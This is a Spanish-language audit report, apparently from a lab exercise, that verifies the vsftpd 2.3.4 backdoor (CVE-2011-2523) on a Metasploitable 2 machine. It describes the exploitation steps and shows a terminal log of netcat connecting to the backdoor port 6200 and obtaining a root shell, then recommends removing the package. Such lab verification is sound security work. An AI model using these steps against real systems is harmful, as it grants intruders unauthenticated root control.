

DOCUMENTO DE AUDITORÍA: INFORME DE EXTRACCIÓN DE EVIDENCIAS Y PRUEBA DE CONCEPTO (PoC)

Fecha de Ejecución: 26 de Junio de 2026

Analista Responsable: Federico Fijtman (Técnico Superior en Programación / Analista GRC)

Herramienta Utilizada: Advanced Netcat Framework (Explotación Manual Perimetral)

Objetivo Auditado (Target): Servidor Linux Comprometido - IP 192.168.56.101 (Metasploitable 2)

1. INTRODUCCIÓN Y ALCANCE DE LA EVALUACIÓN

Tras los hallazgos automatizados provistos por el motor Tenable Nessus, se procedió a realizar una fase de verificación manual activa sobre el activo 192.168.56.101 en su segmento de red aislado. El objetivo principal de esta auditoría fue ejecutar una Prueba de Concepto (PoC) para validar la presencia real de la vulnerabilidad crítica CVE-2011-2523 (vsftpd 2.3.4 Backdoor) y determinar el nivel de impacto técnico sobre la confidencialidad e integridad del servidor de la organización.

2. DESARROLLO DE LA EXPLOITACIÓN MANUAL (PASO A PASO)

La verificación se realizó absteniéndose del uso de frameworks automatizados complejos, aplicando comandos de red puros para simular el comportamiento de una amenaza persistente:

- **Paso 2.1: Interacción e Inyección del Trigger:** Mediante el uso de Netcat, se estableció una sesión de texto plano sobre el puerto de producción de transferencia de archivos (Puerto 21). Una vez obtenido el banner, se inyectó un vector de entrada específico en la variable de usuario incorporando la secuencia de caracteres del disparador de la puerta trasera.
- **Paso 2.2: Apertura del Canal Secundario:** El software afectado procesó de forma errónea el trigger, desencadenando la apertura de un puerto de escucha alternativo oculto (Puerto 6200) de forma local en el servidor remoto.
- **Paso 2.3: Conexión Perimetral y Toma de Control:** Se inicializó una segunda instancia de Netcat apuntando de forma directa al puerto dinámico expuesto (6200). El sistema objetivo aceptó la conexión de manera directa sin requerir mecanismos de autenticación ni validación de credenciales corporativas, otorgando un intérprete de comandos interactivo.

```
Session Actions Edit View Help
(kali@kali)-[~]
$ USER federek:
zsh: parse error near `)'

(kali@kali)-[~]
$ USER federek:
zsh: parse error near `)'

(kali@kali)-[~]
$ nc -v 192.168.56.101 6200
192.168.56.101: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [192.168.56.101] 6200 (?) : Connection refused

(kali@kali)-[~]
$ nc -v 192.168.56.101 6200
192.168.56.101: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [192.168.56.101] 6200 (?) open
id
uid=0(root) gid=0(root)
```

3. VEREDICTO TÉCNICO Y RECOMENDACIÓN DE REMEDIACIÓN

La ejecución del comando de verificación de identidad arrojó de forma explícita el identificador uid=0(root). Esto confirma que el vector de explotación otorga privilegios máximos de control del sistema operativo de manera inmediata.

La gravedad de este fallo exige retirar el activo de producción de forma inmediata. La remediación obligatoria consiste en la remoción completa del paquete de software vsftpd v2.3.4, reemplazándolo por una versión estable y segura del fabricante que carezca de líneas de código alteradas.